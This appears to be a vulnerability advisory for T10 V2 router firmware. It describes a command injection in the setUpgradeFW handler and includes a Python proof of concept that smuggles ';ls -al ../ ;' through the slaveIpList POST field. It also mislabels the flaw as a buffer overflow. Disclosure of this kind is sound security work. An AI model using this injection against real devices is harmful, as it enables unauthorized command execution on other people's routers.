T10 V2_Firmware V2_V4.1.8cu.5207
In the T10 V2_Firmware V2_V4.1.8cu.5207 firmware has a buffer overflow vulnerability in the setUpgradeFW
function. The v6
variable receives the slaveIpList
parameter from a POST request. However, since the user can control the input of slaveIpList
, the sprintf
and system
can cause a command injection vulnerability.
import requests
url = "<http://127.0.0.1/cgi-bin/cstecgi.cgi>"cookie = {"Cookie":"SESSION_ID=2:1721039211:2"}
data = {
"topicurl":"setUpgradeFW",
"FileName":"1",
"slaveIpList":";ls -al ../ ;",
}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)